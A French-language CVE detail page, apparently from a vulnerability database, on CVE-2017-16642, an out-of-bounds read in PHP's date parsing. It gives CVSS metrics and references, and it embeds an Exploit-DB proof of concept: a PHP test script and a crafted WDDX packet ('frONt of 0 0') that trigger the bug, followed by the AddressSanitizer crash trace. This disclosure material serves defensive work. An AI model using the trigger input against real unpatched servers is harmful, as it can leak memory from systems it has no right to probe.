CVE-2017-16642 : Détail

CVE-2017-16642

7.5
/
HIGH
Overflow
0.65%V3
Network
2017-11-07 20:00 +00:00
2019-08-19 08:06 +00:00

Alerte pour un CVE

Restez informé de toutes modifications pour un CVE spécifique.
Gestion des alertes

Descriptions

In PHP before 5.6.32, 7.x before 7.0.25, and 7.1.x before 7.1.11, an error in the date extension's timelib_meridian handling of 'front of' and 'back of' directives could be used by attackers able to supply date strings to leak information from the interpreter, related to ext/date/lib/parse_date.c out-of-bounds reads affecting the php_parse_date function. NOTE: this is a different issue than CVE-2017-11145.

Informations

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-125 Out-of-bounds Read
The product reads data past the end, or before the beginning, of the intended buffer.

Metrics

Metric Score Sévérité CVSS Vecteur Source
V3.0 7.5 HIGH CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

[email protected]
V2 5 AV:N/AC:L/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

EPSS Score

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

EPSS Percentile

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 43133

Date de publication : 2017-11-08 23:00 +00:00
Auteur : Wei Lei and Liu Yang
EDB Vérifié : Yes

Description: ------------ A heap out-of-bound read vulnerability in timelib_meridian() can be triggered via wddx_deserialize() or other vectors that call into this function on untrusted inputs. $ ~/php-7.1.8/sapi/cli/php --version PHP 7.1.8 (cli) (built: Aug 9 2017 21:42:13) ( NTS ) Copyright (c) 1997-2017 The PHP Group Zend Engine v3.1.0, Copyright (c) 1998-2017 Zend Technologies Configuration: CC="`which gcc`" CFLAGS="-O0 -g -fsanitize=address" ./configure --disable-shared --enable-wddx Credit: Wei Lei and Liu Yang of Nanyang Technological University Test script: --------------- $ cat wddx.php */ <?php $argc = $_SERVER['argc']; $argv = $_SERVER['argv']; $dir_str = dirname(__FILE__); $file_str = ($dir_str)."/".$argv[1]; if (!extension_loaded('wddx')) print "wddx not loaded.\n"; $wddx_str = file_get_contents($file_str); print strlen($wddx_str) . " bytes read.\n"; var_dump(wddx_deserialize($wddx_str)); ?> /* $ cat repro2.wddx <?xml version='1.0'?> <!DOCTYPE wddxPacket SYSTEM 'wddx_0100.dtd'> <wddxPacket version='1.0'> <header/> <data> <struct> <var name='aDateTime'> <dateTime>frONt of 0 0</dateTime> </var> </struct> </data> </wddxPacket> /* Expected result: ---------------- NO CRASH Actual result: -------------- $ ~/php-7.1.8/sapi/cli/php wddx.php repro2.wddx 309 bytes read. ================================================================= ==13788== ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb57057fc at pc 0x809b622 bp 0xbf9d09d8 sp 0xbf9d09cc READ of size 1 at 0xb57057fc thread T0 #0 0x809b621 in timelib_meridian /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:410 #1 0x80e0293 in scan /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:18228 #2 0x80f0710 in timelib_strtotime /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:23194 #3 0x806afed in php_parse_date /home/weilei/php-7.1.8/ext/date/php_date.c:1455 #4 0x8a2c588 in php_wddx_process_data /home/weilei/php-7.1.8/ext/wddx/wddx.c:1071 #5 0x8a40f7b in _cdata_handler /home/weilei/php-7.1.8/ext/xml/compat.c:265 #6 0xb5cc06b5 in xmlParseCharData__internal_alias /home/weilei/libxml2/parser.c:4597 #7 0xb5d129be in xmlParseTryOrFinish /home/weilei/libxml2/parser.c:11715 #8 0xb5d1a462 in xmlParseChunk__internal_alias /home/weilei/libxml2/parser.c:12454 #9 0x8a42de6 in php_XML_Parse /home/weilei/php-7.1.8/ext/xml/compat.c:600 #10 0x8a2c974 in php_wddx_deserialize_ex /home/weilei/php-7.1.8/ext/wddx/wddx.c:1105 #11 0x8a2f394 in zif_wddx_deserialize /home/weilei/php-7.1.8/ext/wddx/wddx.c:1323 #12 0x8ddcd0b in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER /home/weilei/php-7.1.8/Zend/zend_vm_execute.h:675 #13 0x8dd70df in execute_ex /home/weilei/php-7.1.8/Zend/zend_vm_execute.h:429 #14 0x8dd8845 in zend_execute /home/weilei/php-7.1.8/Zend/zend_vm_execute.h:474 #15 0x8c32247 in zend_execute_scripts /home/weilei/php-7.1.8/Zend/zend.c:1476 #16 0x8a5fbc5 in php_execute_script /home/weilei/php-7.1.8/main/main.c:2537 #17 0x90f5a70 in do_cli /home/weilei/php-7.1.8/sapi/cli/php_cli.c:993 #18 0x90f834b in main /home/weilei/php-7.1.8/sapi/cli/php_cli.c:1381 #19 0xb5ab9a82 (/lib/i386-linux-gnu/libc.so.6+0x19a82) #20 0x8065230 in _start (/home/weilei/php-7.1.8/sapi/cli/php+0x8065230) 0xb57057fc is located 0 bytes to the right of 12-byte region [0xb57057f0,0xb57057fc) allocated by thread T0 here: #0 0xb6168854 (/usr/lib/i386-linux-gnu/libasan.so.0+0x16854) #1 0x8b73387 in __zend_malloc /home/weilei/php-7.1.8/Zend/zend_alloc.c:2820 #2 0x8b704a6 in _emalloc /home/weilei/php-7.1.8/Zend/zend_alloc.c:2413 #3 0x8b710f1 in _safe_emalloc /home/weilei/php-7.1.8/Zend/zend_alloc.c:2472 #4 0x8b7164c in _ecalloc /home/weilei/php-7.1.8/Zend/zend_alloc.c:2495 #5 0x809bd8a in timelib_string /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:460 #6 0x80dfcbb in scan /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:18215 #7 0x80f0710 in timelib_strtotime /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:23194 #8 0x806afed in php_parse_date /home/weilei/php-7.1.8/ext/date/php_date.c:1455 #9 0x8a2c588 in php_wddx_process_data /home/weilei/php-7.1.8/ext/wddx/wddx.c:1071 #10 0x8a40f7b in _cdata_handler /home/weilei/php-7.1.8/ext/xml/compat.c:265 #11 0xb5cc06b5 in xmlParseCharData__internal_alias /home/weilei/libxml2/parser.c:4597 #12 0xb5d129be in xmlParseTryOrFinish /home/weilei/libxml2/parser.c:11715 #13 0xb5d1a462 in xmlParseChunk__internal_alias /home/weilei/libxml2/parser.c:12454 #14 0x8a42de6 in php_XML_Parse /home/weilei/php-7.1.8/ext/xml/compat.c:600 #15 0x8a2c974 in php_wddx_deserialize_ex /home/weilei/php-7.1.8/ext/wddx/wddx.c:1105 #16 0x8a2f394 in zif_wddx_deserialize /home/weilei/php-7.1.8/ext/wddx/wddx.c:1323 #17 0x8ddcd0b in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER /home/weilei/php-7.1.8/Zend/zend_vm_execute.h:675 #18 0x8dd70df in execute_ex /home/weilei/php-7.1.8/Zend/zend_vm_execute.h:429 #19 0x8dd8845 in zend_execute /home/weilei/php-7.1.8/Zend/zend_vm_execute.h:474 #20 0x8c32247 in zend_execute_scripts /home/weilei/php-7.1.8/Zend/zend.c:1476 #21 0x8a5fbc5 in php_execute_script /home/weilei/php-7.1.8/main/main.c:2537 #22 0x90f5a70 in do_cli /home/weilei/php-7.1.8/sapi/cli/php_cli.c:993 #23 0x90f834b in main /home/weilei/php-7.1.8/sapi/cli/php_cli.c:1381 #24 0xb5ab9a82 (/lib/i386-linux-gnu/libc.so.6+0x19a82) SUMMARY: AddressSanitizer: heap-buffer-overflow /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:410 timelib_meridian Shadow bytes around the buggy address: 0x36ae0aa0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x36ae0ab0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x36ae0ac0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x36ae0ad0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x36ae0ae0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x36ae0af0: fa fa fa fa fa fa fa fa fa fa fd fa fa fa 00[04] 0x36ae0b00:fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x36ae0b10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x36ae0b20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x36ae0b30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x36ae0b40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap righ redzone: fb Freed Heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 ASan internal: fe ==13788== ABORTING Aborted */

Products Mentioned

Configuraton 0

Php>>Php >> Version To (excluding) 5.6.32

Php>>Php >> Version From (including) 7.0.0 To (excluding) 7.0.25

Php>>Php >> Version From (including) 7.1.0 To (excluding) 7.1.11

Configuraton 0

Debian>>Debian_linux >> Version 8.0

Debian>>Debian_linux >> Version 9.0

Configuraton 0

Canonical>>Ubuntu_linux >> Version 14.04

Configuraton 0

Netapp>>Storage_automation_store >> Version -

Netapp>>Clustered_data_ontap >> Version -

References

https://www.exploit-db.com/exploits/43133/
Tags : exploit, x_refsource_EXPLOIT-DB
https://bugs.php.net/bug.php?id=75055
Tags : x_refsource_CONFIRM
https://access.redhat.com/errata/RHSA-2018:1296
Tags : vendor-advisory, x_refsource_REDHAT
http://php.net/ChangeLog-5.php
Tags : x_refsource_CONFIRM
http://www.securityfocus.com/bid/101745
Tags : vdb-entry, x_refsource_BID
https://www.debian.org/security/2018/dsa-4081
Tags : vendor-advisory, x_refsource_DEBIAN
https://www.debian.org/security/2018/dsa-4080
Tags : vendor-advisory, x_refsource_DEBIAN
https://usn.ubuntu.com/3566-1/
Tags : vendor-advisory, x_refsource_UBUNTU
http://php.net/ChangeLog-7.php
Tags : x_refsource_CONFIRM
https://access.redhat.com/errata/RHSA-2019:2519
Tags : vendor-advisory, x_refsource_REDHAT
Cliquez sur le bouton à gauche (OFF), pour autoriser l'inscription de cookie améliorant les fonctionnalités du site. Cliquez sur le bouton à gauche (Tout accepter), pour ne plus autoriser l'inscription de cookie améliorant les fonctionnalités du site.